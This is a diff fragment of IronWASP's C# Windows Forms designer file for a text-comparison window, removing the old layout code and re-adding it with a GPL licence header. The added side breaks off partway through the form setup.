- { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DiffWindow)); - this.SideBySideSplit = new System.Windows.Forms.SplitContainer(); - this.SourceResultRTB = new System.Windows.Forms.RichTextBox(); - this.DestinationResultRTB = new System.Windows.Forms.RichTextBox(); - this.DiffWindowLeftSplit = new System.Windows.Forms.SplitContainer(); - this.DiffSourceTB = new System.Windows.Forms.TextBox(); - this.PasteSourceBtn = new System.Windows.Forms.Button(); - this.ClearSourceBtn = new System.Windows.Forms.Button(); - this.label3 = new System.Windows.Forms.Label(); - this.DiffDestinationTB = new System.Windows.Forms.TextBox(); - this.PasteDestinationBtn = new System.Windows.Forms.Button(); - this.ClearDestinationBtn = new System.Windows.Forms.Button(); - this.label4 = new System.Windows.Forms.Label(); - this.DiffStatusTB = new System.Windows.Forms.TextBox(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.DiffWindowShowDiffBtn = new System.Windows.Forms.Button(); - this.DiffResultRTB = new System.Windows.Forms.RichTextBox(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.InputTab = new System.Windows.Forms.TabPage(); - this.ResultsTab = new System.Windows.Forms.TabPage(); - this.ResultsTabs = new System.Windows.Forms.TabControl(); - this.SideBySideTab = new System.Windows.Forms.TabPage(); - this.SinglePageTab = new System.Windows.Forms.TabPage(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.SideBySideSplit.Panel1.SuspendLayout(); - this.SideBySideSplit.Panel2.SuspendLayout(); - this.SideBySideSplit.SuspendLayout(); - this.DiffWindowLeftSplit.Panel1.SuspendLayout(); - this.DiffWindowLeftSplit.Panel2.SuspendLayout(); - this.DiffWindowLeftSplit.SuspendLayout(); - this.BaseTabs.SuspendLayout(); - this.InputTab.SuspendLayout(); - this.ResultsTab.SuspendLayout(); - this.ResultsTabs.SuspendLayout(); - this.SideBySideTab.SuspendLayout(); - this.SinglePageTab.SuspendLayout(); - this.SuspendLayout(); - // - // SideBySideSplit - // - this.SideBySideSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.SideBySideSplit.Location = new System.Drawing.Point(0, 0); - this.SideBySideSplit.Margin = new System.Windows.Forms.Padding(0); - this.SideBySideSplit.Name = "SideBySideSplit"; - // - // SideBySideSplit.Panel1 - // - this.SideBySideSplit.Panel1.Controls.Add(this.SourceResultRTB); - // - // SideBySideSplit.Panel2 - // - this.SideBySideSplit.Panel2.Controls.Add(this.DestinationResultRTB); - this.SideBySideSplit.Size = new System.Drawing.Size(668, 480); - this.SideBySideSplit.SplitterDistance = 320; - this.SideBySideSplit.SplitterWidth = 2; - this.SideBySideSplit.TabIndex = 0; - // - // SourceResultRTB - // - this.SourceResultRTB.BackColor = System.Drawing.Color.White; - this.SourceResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.SourceResultRTB.DetectUrls = false; - this.SourceResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.SourceResultRTB.Location = new System.Drawing.Point(0, 0); - this.SourceResultRTB.Name = "SourceResultRTB"; - this.SourceResultRTB.ReadOnly = true; - this.SourceResultRTB.Size = new System.Drawing.Size(320, 480); - this.SourceResultRTB.TabIndex = 1; - this.SourceResultRTB.Text = ""; - // - // DestinationResultRTB - // - this.DestinationResultRTB.BackColor = System.Drawing.Color.White; - this.DestinationResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.DestinationResultRTB.DetectUrls = false; - this.DestinationResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.DestinationResultRTB.Location = new System.Drawing.Point(0, 0); - this.DestinationResultRTB.Name = "DestinationResultRTB"; - this.DestinationResultRTB.ReadOnly = true; - this.DestinationResultRTB.Size = new System.Drawing.Size(346, 480); - this.DestinationResultRTB.TabIndex = 1; - this.DestinationResultRTB.Text = ""; - // - // DiffWindowLeftSplit - // - this.DiffWindowLeftSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.DiffWindowLeftSplit.Location = new System.Drawing.Point(0, 0); - this.DiffWindowLeftSplit.Margin = new System.Windows.Forms.Padding(0); - this.DiffWindowLeftSplit.Name = "DiffWindowLeftSplit"; - this.DiffWindowLeftSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // DiffWindowLeftSplit.Panel1 - // - this.DiffWindowLeftSplit.Panel1.Controls.Add(this.DiffSourceTB); - this.DiffWindowLeftSplit.Panel1.Controls.Add(this.PasteSourceBtn); - this.DiffWindowLeftSplit.Panel1.Controls.Add(this.ClearSourceBtn); - this.DiffWindowLeftSplit.Panel1.Controls.Add(this.label3); - // - // DiffWindowLeftSplit.Panel2 - // - this.DiffWindowLeftSplit.Panel2.Controls.Add(this.DiffDestinationTB); - this.DiffWindowLeftSplit.Panel2.Controls.Add(this.PasteDestinationBtn); - this.DiffWindowLeftSplit.Panel2.Controls.Add(this.ClearDestinationBtn); - this.DiffWindowLeftSplit.Panel2.Controls.Add(this.label4); - this.DiffWindowLeftSplit.Size = new System.Drawing.Size(676, 506); - this.DiffWindowLeftSplit.SplitterDistance = 259; - this.DiffWindowLeftSplit.SplitterWidth = 2; - this.DiffWindowLeftSplit.TabIndex = 0; - // - // DiffSourceTB - // - this.DiffSourceTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DiffSourceTB.Location = new System.Drawing.Point(0, 25); - this.DiffSourceTB.MaxLength = 2147483647; - this.DiffSourceTB.Multiline = true; - this.DiffSourceTB.Name = "DiffSourceTB"; - this.DiffSourceTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.DiffSourceTB.Size = new System.Drawing.Size(676, 234); - this.DiffSourceTB.TabIndex = 3; - // - // PasteSourceBtn - // - this.PasteSourceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.PasteSourceBtn.Location = new System.Drawing.Point(518, 2); - this.PasteSourceBtn.Margin = new System.Windows.Forms.Padding(0); - this.PasteSourceBtn.Name = "PasteSourceBtn"; - this.PasteSourceBtn.Size = new System.Drawing.Size(75, 22); - this.PasteSourceBtn.TabIndex = 2; - this.PasteSourceBtn.Text = "Paste"; - this.PasteSourceBtn.UseVisualStyleBackColor = true; - this.PasteSourceBtn.Click += new System.EventHandler(this.PasteSourceBtn_Click); - // - // ClearSourceBtn - // - this.ClearSourceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ClearSourceBtn.Location = new System.Drawing.Point(598, 2); - this.ClearSourceBtn.Margin = new System.Windows.Forms.Padding(0); - this.ClearSourceBtn.Name = "ClearSourceBtn"; - this.ClearSourceBtn.Size = new System.Drawing.Size(75, 22); - this.ClearSourceBtn.TabIndex = 1; - this.ClearSourceBtn.Text = "Clear"; - this.ClearSourceBtn.UseVisualStyleBackColor = true; - this.ClearSourceBtn.Click += new System.EventHandler(this.ClearSourceBtn_Click); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(3, 2); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(96, 13); - this.label3.TabIndex = 0; - this.label3.Text = "Enter Source Text:"; - // - // DiffDestinationTB - // - this.DiffDestinationTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DiffDestinationTB.BackColor = System.Drawing.SystemColors.Window; - this.DiffDestinationTB.Location = new System.Drawing.Point(0, 25); - this.DiffDestinationTB.MaxLength = 2147483647; - this.DiffDestinationTB.Multiline = true; - this.DiffDestinationTB.Name = "DiffDestinationTB"; - this.DiffDestinationTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.DiffDestinationTB.Size = new System.Drawing.Size(676, 220); - this.DiffDestinationTB.TabIndex = 4; - // - // PasteDestinationBtn - // - this.PasteDestinationBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.PasteDestinationBtn.Location = new System.Drawing.Point(518, 2); - this.PasteDestinationBtn.Margin = new System.Windows.Forms.Padding(0); - this.PasteDestinationBtn.Name = "PasteDestinationBtn"; - this.PasteDestinationBtn.Size = new System.Drawing.Size(75, 22); - this.PasteDestinationBtn.TabIndex = 3; - this.PasteDestinationBtn.Text = "Paste"; - this.PasteDestinationBtn.UseVisualStyleBackColor = true; - this.PasteDestinationBtn.Click += new System.EventHandler(this.PasteDestinationBtn_Click); - // - // ClearDestinationBtn - // - this.ClearDestinationBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ClearDestinationBtn.Location = new System.Drawing.Point(598, 2); - this.ClearDestinationBtn.Margin = new System.Windows.Forms.Padding(0); - this.ClearDestinationBtn.Name = "ClearDestinationBtn"; - this.ClearDestinationBtn.Size = new System.Drawing.Size(75, 22); - this.ClearDestinationBtn.TabIndex = 2; - this.ClearDestinationBtn.Text = "Clear"; - this.ClearDestinationBtn.UseVisualStyleBackColor = true; - this.ClearDestinationBtn.Click += new System.EventHandler(this.ClearDestinationBtn_Click); - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(3, 1); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(115, 13); - this.label4.TabIndex = 1; - this.label4.Text = "Enter Destination Text:"; - // - // DiffStatusTB - // - this.DiffStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DiffStatusTB.BackColor = System.Drawing.SystemColors.Control; - this.DiffStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DiffStatusTB.Location = new System.Drawing.Point(92, 4); - this.DiffStatusTB.Multiline = true; - this.DiffStatusTB.Name = "DiffStatusTB"; - this.DiffStatusTB.ReadOnly = true; - this.DiffStatusTB.Size = new System.Drawing.Size(400, 26); - this.DiffStatusTB.TabIndex = 6; - // - // textBox2 - // - this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox2.BackColor = System.Drawing.Color.LimeGreen; - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Location = new System.Drawing.Point(498, 1); - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(30, 13); - this.textBox2.TabIndex = 5; - // - // textBox1 - // - this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox1.BackColor = System.Drawing.Color.Orange; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(602, 1); - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(30, 13); - this.textBox1.TabIndex = 4; - // - // label2 - // - this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(534, 1); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(45, 13); - this.label2.TabIndex = 3; - this.label2.Text = "Inserted"; - // - // label1 - // - this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(638, 1); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(44, 13); - this.label1.TabIndex = 2; - this.label1.Text = "Deleted"; - // - // DiffWindowShowDiffBtn - // - this.DiffWindowShowDiffBtn.Location = new System.Drawing.Point(3, 3); - this.DiffWindowShowDiffBtn.Name = "DiffWindowShowDiffBtn"; - this.DiffWindowShowDiffBtn.Size = new System.Drawing.Size(83, 23); - this.DiffWindowShowDiffBtn.TabIndex = 1; - this.DiffWindowShowDiffBtn.Text = "Show Diff"; - this.DiffWindowShowDiffBtn.UseVisualStyleBackColor = true; - this.DiffWindowShowDiffBtn.Click += new System.EventHandler(this.DiffWindowShowDiffBtn_Click); - // - // DiffResultRTB - // - this.DiffResultRTB.BackColor = System.Drawing.Color.White; - this.DiffResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DiffResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.DiffResultRTB.Location = new System.Drawing.Point(0, 0); - this.DiffResultRTB.Name = "DiffResultRTB"; - this.DiffResultRTB.ReadOnly = true; - this.DiffResultRTB.Size = new System.Drawing.Size(668, 480); - this.DiffResultRTB.TabIndex = 0; - this.DiffResultRTB.Text = ""; - // - // BaseTabs - // - this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BaseTabs.Controls.Add(this.InputTab); - this.BaseTabs.Controls.Add(this.ResultsTab); - this.BaseTabs.Location = new System.Drawing.Point(0, 30); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(684, 532); - this.BaseTabs.TabIndex = 1; - // - // InputTab - // - this.InputTab.Controls.Add(this.DiffWindowLeftSplit); - this.InputTab.Location = new System.Drawing.Point(4, 22); - this.InputTab.Margin = new System.Windows.Forms.Padding(0); - this.InputTab.Name = "InputTab"; - this.InputTab.Size = new System.Drawing.Size(676, 506); - this.InputTab.TabIndex = 0; - this.InputTab.Text = " Input "; - this.InputTab.UseVisualStyleBackColor = true; - // - // ResultsTab - // - this.ResultsTab.Controls.Add(this.ResultsTabs); - this.ResultsTab.Location = new System.Drawing.Point(4, 22); - this.ResultsTab.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTab.Name = "ResultsTab"; - this.ResultsTab.Size = new System.Drawing.Size(676, 506); - this.ResultsTab.TabIndex = 1; - this.ResultsTab.Text = " Results "; - this.ResultsTab.UseVisualStyleBackColor = true; - // - // ResultsTabs - // - this.ResultsTabs.Controls.Add(this.SideBySideTab); - this.ResultsTabs.Controls.Add(this.SinglePageTab); - this.ResultsTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResultsTabs.Location = new System.Drawing.Point(0, 0); - this.ResultsTabs.Margin = new System.Windows.Forms.Padding(0); - this.ResultsTabs.Name = "ResultsTabs"; - this.ResultsTabs.Padding = new System.Drawing.Point(0, 0); - this.ResultsTabs.SelectedIndex = 0; - this.ResultsTabs.Size = new System.Drawing.Size(676, 506); - this.ResultsTabs.TabIndex = 0; - // - // SideBySideTab - // - this.SideBySideTab.Controls.Add(this.SideBySideSplit); - this.SideBySideTab.Location = new System.Drawing.Point(4, 22); - this.SideBySideTab.Margin = new System.Windows.Forms.Padding(0); - this.SideBySideTab.Name = "SideBySideTab"; - this.SideBySideTab.Size = new System.Drawing.Size(668, 480); - this.SideBySideTab.TabIndex = 0; - this.SideBySideTab.Text = "Side By Side"; - this.SideBySideTab.UseVisualStyleBackColor = true; - // - // SinglePageTab - // - this.SinglePageTab.Controls.Add(this.DiffResultRTB); - this.SinglePageTab.Location = new System.Drawing.Point(4, 22); - this.SinglePageTab.Margin = new System.Windows.Forms.Padding(0); - this.SinglePageTab.Name = "SinglePageTab"; - this.SinglePageTab.Size = new System.Drawing.Size(668, 480); - this.SinglePageTab.TabIndex = 1; - this.SinglePageTab.Text = "Single Page"; - this.SinglePageTab.UseVisualStyleBackColor = true; - // - // textBox3 - // - this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox3.BackColor = System.Drawing.Color.Gray; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(602, 17); - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(30, 13); - this.textBox3.TabIndex = 9; - // - // textBox4 - // - this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.textBox4.BackColor = System.Drawing.Color.White; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(498, 17); - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(30, 13); - this.textBox4.TabIndex = 10; - // - // label5 - // - this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(638, 17); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(28, 13); - this.label5.TabIndex = 7; - this.label5.Text = "Filler"; - // - // label6 - // - this.label6.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(534, 17); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(63, 13); - this.label6.TabIndex = 8; - this.label6.Text = "Unchanged"; - // - // DiffWindow - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(684, 562); - this.Controls.Add(this.textBox3); - this.Controls.Add(this.textBox4); - this.Controls.Add(this.label5); - this.Controls.Add(this.label6); - this.Controls.Add(this.textBox1); - this.Controls.Add(this.DiffStatusTB); - this.Controls.Add(this.BaseTabs); - this.Controls.Add(this.textBox2); - this.Controls.Add(this.DiffWindowShowDiffBtn); - this.Controls.Add(this.label1); - this.Controls.Add(this.label2); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "DiffWindow"; - this.Text = "View Diff in Text between a Source and Destination."; - this.SideBySideSplit.Panel1.ResumeLayout(false); - this.SideBySideSplit.Panel2.ResumeLayout(false); - this.SideBySideSplit.ResumeLayout(false); - this.DiffWindowLeftSplit.Panel1.ResumeLayout(false); - this.DiffWindowLeftSplit.Panel1.PerformLayout(); - this.DiffWindowLeftSplit.Panel2.ResumeLayout(false); - this.DiffWindowLeftSplit.Panel2.PerformLayout(); - this.DiffWindowLeftSplit.ResumeLayout(false); - this.BaseTabs.ResumeLayout(false); - this.InputTab.ResumeLayout(false); - this.ResultsTab.ResumeLayout(false); - this.ResultsTabs.ResumeLayout(false); - this.SideBySideTab.ResumeLayout(false); - this.SinglePageTab.ResumeLayout(false); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.SplitContainer SideBySideSplit; - private System.Windows.Forms.SplitContainer DiffWindowLeftSplit; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label4; - internal System.Windows.Forms.RichTextBox DiffResultRTB; - private System.Windows.Forms.TabPage InputTab; - private System.Windows.Forms.TabPage ResultsTab; - private System.Windows.Forms.TabControl ResultsTabs; - private System.Windows.Forms.TabPage SideBySideTab; - private System.Windows.Forms.TabPage SinglePageTab; - internal System.Windows.Forms.RichTextBox SourceResultRTB; - internal System.Windows.Forms.RichTextBox DestinationResultRTB; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label6; - internal System.Windows.Forms.TabControl BaseTabs; - internal System.Windows.Forms.TextBox DiffStatusTB; - internal System.Windows.Forms.Button DiffWindowShowDiffBtn; - private System.Windows.Forms.Button ClearSourceBtn; - private System.Windows.Forms.Button ClearDestinationBtn; - private System.Windows.Forms.Button PasteSourceBtn; - private System.Windows.Forms.Button PasteDestinationBtn; - internal System.Windows.Forms.TextBox DiffSourceTB; - internal System.Windows.Forms.TextBox DiffDestinationTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class DiffWindow + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DiffWindow)); + this.SideBySideSplit = new System.Windows.Forms.SplitContainer(); + this.SourceResultRTB = new System.Windows.Forms.RichTextBox(); + this.DestinationResultRTB = new System.Windows.Forms.RichTextBox(); + this.DiffWindowLeftSplit = new System.Windows.Forms.SplitContainer(); + this.DiffSourceTB = new System.Windows.Forms.TextBox(); + this.PasteSourceBtn = new System.Windows.Forms.Button(); + this.ClearSourceBtn = new System.Windows.Forms.Button(); + this.label3 = new System.Windows.Forms.Label(); + this.DiffDestinationTB = new System.Windows.Forms.TextBox(); + this.PasteDestinationBtn = new System.Windows.Forms.Button(); + this.ClearDestinationBtn = new System.Windows.Forms.Button(); + this.label4 = new System.Windows.Forms.Label(); + this.DiffStatusTB = new System.Windows.Forms.TextBox(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.DiffWindowShowDiffBtn = new System.Windows.Forms.Button(); + this.DiffResultRTB = new System.Windows.Forms.RichTextBox(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.InputTab = new System.Windows.Forms.TabPage(); + this.ResultsTab = new System.Windows.Forms.TabPage(); + this.ResultsTabs = new System.Windows.Forms.TabControl(); + this.SideBySideTab = new System.Windows.Forms.TabPage(); + this.SinglePageTab = new System.Windows.Forms.TabPage(); + this.textBox3 = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.SideBySideSplit.Panel1.SuspendLayout(); + this.SideBySideSplit.Panel2.SuspendLayout(); + this.SideBySideSplit.SuspendLayout(); + this.DiffWindowLeftSplit.Panel1.SuspendLayout(); + this.DiffWindowLeftSplit.Panel2.SuspendLayout(); + this.DiffWindowLeftSplit.SuspendLayout(); + this.BaseTabs.SuspendLayout(); + this.InputTab.SuspendLayout(); + this.ResultsTab.SuspendLayout(); + this.ResultsTabs.SuspendLayout(); + this.SideBySideTab.SuspendLayout(); + this.SinglePageTab.SuspendLayout(); + this.SuspendLayout(); + // + // SideBySideSplit + // + this.SideBySideSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SideBySideSplit.Location = new System.Drawing.Point(0, 0); + this.SideBySideSplit.Margin = new System.Windows.Forms.Padding(0); + this.SideBySideSplit.Name = "SideBySideSplit"; + // + // SideBySideSplit.Panel1 + // + this.SideBySideSplit.Panel1.Controls.Add(this.SourceResultRTB); + // + // SideBySideSplit.Panel2 + // + this.SideBySideSplit.Panel2.Controls.Add(this.DestinationResultRTB); + this.SideBySideSplit.Size = new System.Drawing.Size(668, 480); + this.SideBySideSplit.SplitterDistance = 320; + this.SideBySideSplit.SplitterWidth = 2; + this.SideBySideSplit.TabIndex = 0; + // + // SourceResultRTB + // + this.SourceResultRTB.BackColor = System.Drawing.Color.White; + this.SourceResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.SourceResultRTB.DetectUrls = false; + this.SourceResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.SourceResultRTB.Location = new System.Drawing.Point(0, 0); + this.SourceResultRTB.Name = "SourceResultRTB"; + this.SourceResultRTB.ReadOnly = true; + this.SourceResultRTB.Size = new System.Drawing.Size(320, 480); + this.SourceResultRTB.TabIndex = 1; + this.SourceResultRTB.Text = ""; + // + // DestinationResultRTB + // + this.DestinationResultRTB.BackColor = System.Drawing.Color.White; + this.DestinationResultRTB.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.DestinationResultRTB.DetectUrls = false; + this.DestinationResultRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.DestinationResultRTB.Location = new System.Drawing.Point(0, 0); + this.DestinationResultRTB.Name = "DestinationResultRTB"; + this.DestinationResultRTB.ReadOnly = true; + this.DestinationResultRTB.Size = new System.Drawing.Size(346, 480); + this.DestinationResultRTB.TabIndex = 1; + this.DestinationResultRTB.Text = ""; + // + // DiffWindowLeftSplit + // + this.DiffWindowLeftSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.DiffWindowLeftSplit.Location = new System.Drawing.Point(0, 0); + this.DiffWindowLeftSplit.Margin = new System.Windows.Forms.Padding(0); + this.DiffWindowLeftSplit.Name = "DiffWindowLeftSplit"; + this.DiffWindowLeftSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // DiffWindowLeftSplit.Panel1 + // + this.DiffWindowLeftSplit.Panel1.Controls.Add(this.DiffSourceTB); + this.DiffWindowLeftSplit.Panel1.Controls.Add(this.PasteSourceBtn); + this.DiffWindowLeftSplit.Panel1.Controls.Add(this.ClearSourceBtn); + this.DiffWindowLeftSplit.Panel1.Controls.Add(this.label3); + // + // DiffWindowLeftSplit.Panel2 + // + this.DiffWindowLeftSplit.Panel2.Controls.Add(this.DiffDestinationTB); + this.DiffWindowLeftSplit.Panel2.Controls.Add(this.PasteDestinationBtn); + this.DiffWindowLeftSplit.Panel2.Controls.Add(this.ClearDestinationBtn); + this.DiffWindowLeftSplit.Panel2.Controls.Add(this.label4); + this.DiffWindowLeftSplit.Size = new System.Drawing.Size(676, 506); + this.DiffWindowLeftSplit.SplitterDistance = 259; + this.DiffWindowLeftSplit.SplitterWidth = 2; + this.DiffWindowLeftSplit.TabIndex = 0; + // + // DiffSourceTB + // + this.DiffSourceTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DiffSourceTB.Location = new System.Drawing.Point(0, 25); + this.DiffSourceTB.MaxLength = 2147483647; + this.DiffSourceTB.Multiline = true; + this.DiffSourceTB.Name = "DiffSourceTB"; + this.DiffSourceTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.DiffSourceTB.Size = new System.Drawing.Size(676, 234); + this.DiffSourceTB.TabIndex = 3; + // + // PasteSourceBtn + // + this.PasteSourceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.PasteSourceBtn.Location = new System.Drawing.Point(518, 2); + this.PasteSourceBtn.Margin = new System.Windows.Forms.Padding(0); + this.PasteSourceBtn.Name = "PasteSourceBtn"; + this.PasteSourceBtn.Size = new System.Drawing.Size(75, 22); + this.PasteSourceBtn.TabIndex = 2; + this.PasteSourceBtn.Text = "Paste"; + this.PasteSourceBtn.UseVisualStyleBackColor = true; + this.PasteSourceBtn.Click += new System.EventHandler(this.PasteSourceBtn_Click); + // + // ClearSourceBtn + // + this.ClearSourceBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ClearSourceBtn.Location = new System.Drawing.Point(598, 2); + this.ClearSourceBtn.Margin = new System.Windows.Forms.Padding(0); + this.ClearSourceBtn.Name = "ClearSourceBtn"; + this.ClearSourceBtn.Size = new System.Drawing.Size(75, 22); + this.ClearSourceBtn.TabIndex = 1; + this.ClearSourceBtn.Text = "Clear"; + 